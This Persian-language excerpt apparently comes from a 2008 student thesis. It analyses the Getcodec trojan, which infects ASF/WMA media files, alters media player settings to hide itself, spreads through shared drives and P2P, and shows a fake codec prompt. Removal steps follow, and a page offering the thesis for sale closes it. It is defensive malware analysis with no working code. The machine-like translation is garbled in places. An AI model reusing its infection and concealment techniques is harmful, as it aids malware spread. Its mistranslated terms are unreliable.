جدیدا تروجان جدیدی شیوع پیدا کرد که فایل های مولتی مدیا را در PC ها به صورت بدخیم آلوده میکند.قابلیت جاسازی کد آن بر پایه فرمت ASF (فرمت سیستم های پیشرفته است(.
ASF فرمت حامل ویدیویی دیجیتال / دیجیتال شنیداری اختصاصی مایکروسافت است که بویژه برای رسانه های در حال جریان معنی می دهد. ASF بخشی از چارچوب رسانه ویندوز است. این فرمت مشخص نمی کند که چگونه(یا با چه رمز گذاری)ویدیویاآدیو باید رمز گذاری شود و فقط ساختار جریان ویدیو /آدیو را مشخص می کند.این شبیه عملکرد QuickTime, AVIیا Ogg است. یکی از موارد ASF پشتیبانی از سرورهای رسانه دیجیتال،سرورهای HTTPوابزار ذخیره محلی مثل درایوهای هارد دیسک است.
متداولترین نوع فایل ها در فایلASF،windows media audio (WMA) و windows media video (WMV)است.
این بخش گرایش به آنالیز مهندسی معکوس عناصر کلیدی نمونه دارد.
اجازه دهید نگاهی به مسیراصلی داشته باشیم.

مسیر این نمونه
همانطور که در شکل می بینیم پس از مقداردهی موفق مجموعه برنامه های COM این تروجان سعی در اجرای مسیر های زیر دارد:
Initialization_and _BasicCheck
Set_Mutex
Modify_Winamp_Conf
Modify_Wmp_Conf
Search-and _Infection_Mechanism

5-2-مسیر مقدار دهی و بررسی پایه
این تروجان از این عملکرد برای مقداردهی متغیرهای این کلاس و بررسی چیزی که این در گذشته اجرا کرده است استفاده می کند. برای انجام این بررسی کلید ثبتی زیر باز شده است:
HKEY_CURRENTt_USERSOFTWAREMicrosoftPIMSRV
5-3-مسیر Set_Mutex (تنظیم تحریف)
این تروجان از این تابع برای کنترل شمارش نمونه های خود استفاده می کند،و این کار با استفاده از یک تحریف انجام می شود که تضمین می کند فقط یک نمونه در حال اجراست.
5-4-مسیرModify_Winamp_Conf
پس از این،تروجان سعی در تغییر دادن فایل ترکیب winamp می کند.
بویژه این سعی در تغییر تنظیمات زیر دارد.
-defext: این محیط تعریف میکند که پسوند پیش فرض وقتی که winamp فایلی را با پسوند نا مشخص اجرا می کند چیست ؟ با این پیش فرض این پارامتر در MP3 تنظیم می شود.
– extlist_aac : هیچ اطلاعاتی درباره این ویژگی یافت نشده است

فایل ترکیب winampتغییرداده شده

5-5 -مسیر Modify _Wmp_Conf
هدف بعدی این نمونه برتری های مدیا پلیر ویندوز است که کلید ثبتی زیر را ایجاد می کند :
HKCUSoftwareMicrosoftMedia playerPlayerExtension mp3
بطور متوالی تنظیمات URL And Exit Commands Enabled ویندوز مدیا پلیر تغییر می کند.وقتی صاحب محتوا یک جریان شنیداری یا ویدیو ایجاد می کند،می تواند دستوراتScript را نیز اضافه کند (مثل دستورات URL Script و دستوراتCustom Script).هنگامیکه جریان باز نواخته میشود،دستوراتScript می توانند وب بروزر تان را شروع و سپس به یک صفحه وب خاص متصل شوند.مشخصه تغییر داده شده توسط این Malware پاسخگوی خاموش وروشن شدن فرمانهای scriptدر فایل های ASF است و در یک پیش فرض شده است، به این معنی که اگر مقدار ثبتیURLAndExitCommandsEnabled وجود نداشته باشد،این قابلیت فعال شده است.
متذکر شدیم که تولید کننده این malware مقدار URL And Exit Command Enabled را در صفر تنظیم کرده است..در عوض دستورات فایل آغازگر URL And Exit را در فایل های ASF خاموش کرده است و این نمونه را از دانلود هرگونه تروجان دیگری که از این روش استفاده کند،غیر فعال کرده است. برخی فکر می کنند این در نتیجه عدم توضیح سند سازی انجام شده است،تولید کننده ونویسنده این مقاله شخصا بر این باور است که این برای هدفی انجام شده است.این موضوع حمله را پنهانی می کند،از این رو به عنوان حیله ای در پنهان کردن حمله از قربانی استفاده شده است.
اگر این کار انجام نشود قربانی خواهد دید که پس از اجرای تروجان بسیاری از این فایل های مولتی مدیا پیام های نصب کد گذاری نا شناسی را بهنگام باز کردن آنها نمایش می دهند و وی باور می کند که تروجان باعث این کار شده است. باید به یاد داشته باشیم که این تروجان از طریق صفحات شکاف خورده گسترش پیدا کرده است،از این رو قربانی فکر می کند که این شکاف معیوب دیگری است.
5-6-مسیر مکانیسم جستجو و آلودگی
این مسیر قلب این malware است و پاسخگوی فعالیت بدخیمانه است قبل از همه این تروجان PRIORITY_BELOW_NORMAL THREAD _ را برای تهدید خود تنظیم کرده و سپس مسیر اصلی را شروع می کند که هدف آن جستجوی فایل های آلوده در درایو سخت قربانی است. چرا این مسیر بهتر است ؟فولدر CD Burning دارای فایل هایی است که آماده برنامه نویسی روی CD/DVD هستند، از این رو آلوده کردن این فایل ها به این malware امکان انتشار از طریق CD/DVD را می دهد.
بنابراین اولین مسیری که این malware برای فایل های آسیب پذیر بدنبال آن می گردد، مسیر زیر است.
C:Documents and settingsAll users Documents My Music
اجازه دهید دو فایل هدف را در این فولدر قرار دهیم:

ما از دو فرمت فایل متفاوت برای کشف تفاوت ها در رفتار این malware برپایه این پارامتر استفاد کردیم.
5-7-جستجوی فایل
برای جستجوی فایل ها در آلوده کردن با این malware تولید کننده از 2 AP1, ویندوز بخوبی شناخته شده استفاده کرده است Find Next FileW FindFirstFileW
این نمونه سعی در آلوده کردن تمام فایل ها در درایو هایی دارد که از نوع زیر هستند:
:DRIVE_FIXED
مدیای ثابت شده ( مثل هارد درایوها یا فلش درایوها(
DRIVE-REMOTE:
درایو های شبکه دور دست
بنابراین در این مورد تروجان همیشه سعی دریافتن فایل های مناسب برای آلوده کردن دارد، حتی اگر در فولدر تقسیم شده یا pendrive باشند. این موضوع آن را مناسب تکثیر و گسترش در محیط های مشترک و سازمان هایی می کند که استفاده وسیعی از موارد مشترک دارند مثل مدارس اقامتگاه ها و غیره.
5-8-آزمایش فایل های آلوده
آنالیز مهندسی معکوس نشان داد که این نمونهURL And Exit Commands Enables را بهنگام اجرا غیر فعال می سازد از این رو اگر بخواهیم فایل های جدیدا آلوده شده را آزمایش کنیم باید این قابلیت را راه بیاندازیم. ( URL AND Exit Commands Enabled=1 )
سعی در اجرای فایل موسیقی روشن می کند که این آلوده شده است.

اجرای یک فایل آلوده شده
بمحض اینکه فایل مولتی مدیای آلوده اجرا شد درخواست نصب یک رمز گذاری تقلیدی نمایش داده می شود این رمزگذاری تقلیدی نمونه malware دیگری است.
5-9- نتیجه گیری
همانطور که می بینید، این تکنولوژی دیگری است که توسط تولید کنندگان این malware برای فریب دادن کاربران در دانلود فایل های بدخیم استفاده شده است.این روشی است که برای ارائه هر نوع محتوا با تغییر ساده در URL برای دانلود رمز گشا استفاده شده است این الگویی پاک و مرتب است چرا که این فایل برای ارائه به سادگی در کنار سرور تغییر یافته و با بهبود مجوزهای صنعت آنتی ویروس بروز رسانی را ممکن می سازد.
بعلاوه تولید کننده این نمونه خاص تصمیم هوشمندانه ای در هدایت URL رمز گذار تقلیدی به نقطه دیگری گرفته است که فایل های بدخیم را برای ارائه ذخیره می کند . در این روش اگر این سایت فایل را نگه دارد و خاموش شود وی به سادگی مسیر را به سرور دیگری تغییر می دهد.این زمان میانگین تخریب زیر بنای تروجان را افزایش می دهد که احتمالا برگشت سرمایه را بهبود می بخشد.
با دانستن طبیعت فایل های هدف، این ابزار ایده آلی برای تکثیر از طریق شبکه های P2P است. هر کاربر آلوده ای فایل های مولتی مدیای آلوده را از طریق کسانی که یا آنها ارتباط دارد بکار می گیرد. احتمالا دوستانی که در خواست فیلم، کلیپ و غیره از کاربر آلوده می کنند، مشکوک نمی شوند تا بررسی کند که آیا فایل دانلود شده یک فایل مولتی مدیا است و خود دامن به آلودگی می زنند. سهم داران در شبکه و مشترکین در محیط های مشترک, مدارس,اقامتگاه ها و غیره نیز ابزار مناسبی برای تکثیر هستند.
این نمونه دیگری از چگونگی ترکیب تکنیک و مهندسی اجتماعی در رسیدن به میزان تکثیر بالا است. در پایان هر چیزی که کاربر می آموزد وی رااز تهدیدات جدید و این حقیقت آگاه می سازد که فایل های مدیا می توانند طبیعت بدخیمی داشته باشند .
5-10-پاکسازی تروجان Getcodec Multimedia
کشف شده: 18جولای 2008
آپدیت شده: 19 جولای 2008
همچنین شناخته شده: W32/Getcodec-A
نوع: تروجان
سیستم های متاثر: Windows 2000 ، Windows 95 ، Windows 98 ، Windows Me ، Windows NT
WindowsVista,Windows Xp
دستور العمل های زیر برای همه فرآورده های آنتی ویروس سیمانتیک اعتبار دارد.
1- غیر فعال کنید System Restore را
2- آپدیت کنیدتعاریف ویروس را
3- اجرا کنید System Scam را به طور کامل
4- حذف کنید هر مقداری که به Registry اضافه شده است.
برای جزئیات خاص روی هر یک از این مراحل دستور العمل های زیر را بخوانید.
1- غیر فعال کردن سیستم Restore:
اگر شما Windows Me/xp را اجرا میکنید ما توصیه میکنیم که شما موقتا System Restore را خاموش کنید.
ویندوز Xp/Me برای بازگرداندن فایل ها روی کامپیوتر در موردی که آنها خراب می شوند از این مشخصه استفاده می کند که به وسیله یک Default توانا می شود.
اگر یک ویروس، کرم یا تروجان در کامپیوتر اثر کند System Restore ممکن است از ویروس ، کرم یا تروجان Backup بگیرد.
ویندوز از برنامه های خارجی که شامل برنامه های آنتی ویروس است جلو گیری می کند بنابراین برنامه آنتی ویروس یا ابزار ها نمی توانند تهدیدات را در پوشه System Restor حذف کنند.
در نتیجه System Restore پتانسیل بازگرداندن فایل آلوده را به کامپیوترتان دارد حتی بعد از اینکه شما فایل های آلوده را از همه محل های دیگر پاک کرده اید.
2- آپدیت کردن تعاریف ویروس:
Symantec Security Responseبه طور کامل همه تعاریف ویروس را برای اطمینان بالا تست می کند قبل از اینکه آنها به سرور ماپست شوند دو راه برای بدست آوردن تعاریف ویروس بیشتر وجود دارد.
-اجرا کردن Live Update که آسانترین راه برای بدست آوردن تعاریف ویروس است.
اگر شما از آنتی ویروس نور تون 2006 استفاده می کنید یا فرآورده جدیدتر، Live Update definition روزانه آپدیت می شود.
اگر شما از انتی ویروس 2005استفاده میکنید یا فراوردههای قدیمی ترLive Update definition هفتگی اپدیت میشود.
-دانلود کردن تعاریف با استفاده از Intelligent Updater: تعاریف ویروس در اینصورت روزانه پست می شود شما باید تعاریف راز سایت Security Response Symantec دانلود کنید و به صورت دستی آن ها را نصب کنید.
اجرا کردن Full system Scan:
a) برنامه آنتی ویروس سیمانتیک تان را شروع کنید ومطمئن شوید که آن برای Scan کردن همه فایل ها ترکیب بندی شده است.
b) اجرا کنید Full Sytem Scan
c) اگر فایلی نمایان شده است دستور العمل هایی که به وسیله برنامه آنتی ویروستان نمایش داده است را دنبال کنید بعد از اینکه فایل ها حذف شدند، کامپیوتر را در مدنرمال Restart کنید و با قسمت بعدی پیش بروید.
پیغام های اخطار هنگامیکه کامپیوتر Restart می شود ممکن است نمایش داده شوند زمانیکه تهدید به طور کامل حذف نشده باشد شما می توانید این پیغام هارا نادیده بگیرید و روی OK کلیک کنید پیغام نمایش داده شده ممکن است شبیه این باشد.
Title : [File path]
بدنه پیغام ویندوز نمی تواند [File name]را پیدا کند مطمئن شوید که شمانام را به درستی تایپ کرده ایدوآنگاه دوباره سعی کنید برای فایل جستجو کنید روی Start کلیک کنید و آنگاه روی Search کلیک کنید.
4- حذف کردن مقادیر از Regitry.:
Symantec قویا توصیه می کند که شما از ,Registry Backup بگیرد قبل از اینکه هر تغییری در آن بدهید. تغییرات نادرست در Registry منجر به از دست دادن دائمی دیتا یا فاسد شدن فایل ها می شود.
Subkey های مشخص شده را اصلاح کنید.
1- Click Start > Run
2- Type regedit
3- Cilck ok
4- Navigate to and delete the fallowing registry Subky:
Hkey – Current – user Software Microsoft Pimsrv
5- Restore the Follwing registry enteries to their previous Values.
Hkey_ Current_ user Software Microsoft Media player preferences "Urlandexit Commande Enabled"
Hkey_Current_UserSoftwareMicrosoftMediaplayer PlayerExtensions mp3 "permissions" =21
5- Exit Regtry Editor.

یایان نامه دوره کارشناسی ناپیوسته کامپیوتر
گرایش نرم افزار

موضوع:
تجزیه و تحلیل 4 نرم افزار مخرب (ویروس- تروجان )

استاد راهنما:
مهندس جناب آقای مهندس مجید وفائی جهان

نام دانشجو:
هدا جاودانی گل پرور

پاییز 1387

یایان نامه دوره کارشناسی ناپیوسته کامپیوتر
گرایش نرم افزار

موضوع:
تجزیه و تحلیل 4 نرم افزار مخرب (ویروس- تروجان )

نام استاد راهنما: مهندس جناب آقای مهندس مجید وفائی جهان

نمره استاد:

تقدیم به:

پدر و مادر عزیزم

که سبزترین بهار زندگیشان را به پایم ریختند.

و تقدیم به همسرم که یاوری بی ریاست

85


تعداد صفحات : 109 | فرمت فایل : word

بلافاصله بعد از پرداخت لینک دانلود فعال می شود